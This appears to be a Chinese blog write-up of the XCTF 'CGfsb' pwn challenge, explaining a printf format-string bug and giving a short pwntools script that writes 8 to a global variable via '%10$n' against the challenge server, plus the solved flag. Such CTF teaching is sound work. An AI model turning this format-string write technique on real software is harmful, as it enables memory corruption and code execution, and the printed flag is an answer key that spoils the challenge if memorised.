【ADworld】Pwn--CGfsb

Description:

菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用


Solution:

先checksec,没有PIE(没有开启地址空间随机化)再file(dynamically linked→动态链接)运行一下扔到IDA里看看(32位的)可以看到 pwnme == 8 时会执行 system(“cat flag”);
不过 pwnme == 8 并不重要,重要的是如何执行 system(“cat flag”);
可以看到上面一句有一个 printf(&s);
就会想到格式化字符串漏洞
我们双击 pwnme == 8 的 pwnme ,看到 pwnme 的地址然后去确定偏移量从aaaa的后面一段地址一直数到 61616161 一共10个,确定偏移量为10
接下来就可以构造payload了

from pwn import *
# r = process('./cgfsb')
r = remote('111.198.29.45', '31310')
r.recvuntil("please tell me your name:")
r.send('')
r.recvuntil("leave your message please:")
payload = p32(0x0804A068)
r.send(payload + 'aaaa%10$n')
r.interactive()

1.p32() 可以让我们转换整数到小端序格式,p32转换4byte,p64和p16 则分别转换8 byte和2 byte的整数
2.%num$x 是直接读取第num个位置的参数(在linux下有用,win下没用)


最后运行,之前忘截图了,用本地文件演示了,不过没有flag文件
本人也是小白,多亏了这位博主的多篇文章帮助理解
https://blog.csdn.net/qq_43394612/article/details/85196669


Flag:

xctf{fd4b59af511c633a933047cc90c89f1d}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值